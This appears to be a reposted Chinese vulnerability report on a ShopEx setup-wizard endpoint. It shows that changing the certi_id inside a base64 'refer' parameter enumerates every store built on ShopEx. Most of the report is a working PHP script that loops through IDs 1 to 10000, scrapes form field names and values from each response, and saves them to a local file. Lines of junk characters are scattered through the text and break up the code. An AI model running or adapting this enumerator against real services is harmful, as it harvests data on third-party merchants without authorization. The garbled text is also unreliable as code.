ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
- g7 h/ x) F' A$ v7 v2 uShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面
# d' c( f# D$ U9 [
  v! z+ h( n% G

http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
7 ~: X- d5 j# {' w/ b
% @* c2 A3 Q3 F, A, h( E
- j* S& @$ R, t  g
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


2 o2 p$ t: ?, i$ W9 V2 |" A
: |4 Z& M$ @7 R: z我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

  w) E. M2 R/ U1 }
6 O6 I# F; V% G' a2 ^
<?php

                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

" S& L% u, `' X1 c" ]% o                }

0 t% _8 G! j% H) @# @                function ShowshopExD($cid) {
  j/ ~! R5 @* b7 w0 V. U
1 W: Q# W+ {! X9 |                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
7 `, X9 |0 b5 {! L$ b
        $url = $url.'?refer='.$refer;
$ f! e+ A* u4 D' O2 D- z  M# l
1 K5 d! Z% e, z' }        $ch = curl_init($url);
) a" I% M+ s1 ^5 A) U' P% n% W
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
: g4 w5 r- x+ {
" y2 q, Z9 ~5 R        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
! v+ B) Q$ E% }) ~7 x
1 B) c9 \. K& X+ [1 O        $result = curl_exec($ch);
3 O) p5 ~  Z3 T+ i" R
: P3 j' |9 j' a7 Y        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
* E. ~* @+ W* `* Y" D( P, M
  y: X, x7 T: Y: K        if(strpos($result,$refer))
6 _, u  [" }, [! `, ~: z  m2 h* o; P
        {
0 q1 n# f2 R5 _8 N6 X6 B
4 U; x( R: ], z* U$ Z8 n                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

5 v; c9 f  {. g+ c; }* X                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

0 R- f  @* S, [0 E  f                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
% R1 x6 m1 ~; P" X3 j
( G, X( O! q0 u6 z- R8 _+ F0 d- _                        echo $res[1][0].':'.$res[3][0]."\r\n";
' L4 p1 w3 k$ Y  Q# D
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

* C$ i0 M0 o- u4 C! ]. t6 F, d2 C9 {$ T                        fwrite($fp, $col, strlen($col));

                }

                echo '--------------------------------'."\r\n";

2 ?) l0 w, @7 y& z! I                fclose($fp);
& [" y. q# J( [' @; T' I
) F5 ~8 i/ S/ f        }
' S8 t+ o- Y" M4 w4 q& C# Q
        flush();
; j, `! K) z1 Q, s+ y
        curl_close($ch);
- B/ Y( u" g* U1 r
                }
8 ?7 B+ x" w. e- q# ?$ z
?>
漏洞证明：
+ s9 _; H1 U2 Vhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
. P$ ]6 E4 @0 x/ Z8 F6 d& j  j5 b( j% jrefer换成其他加密方式
; ?! y9 T$ V5 s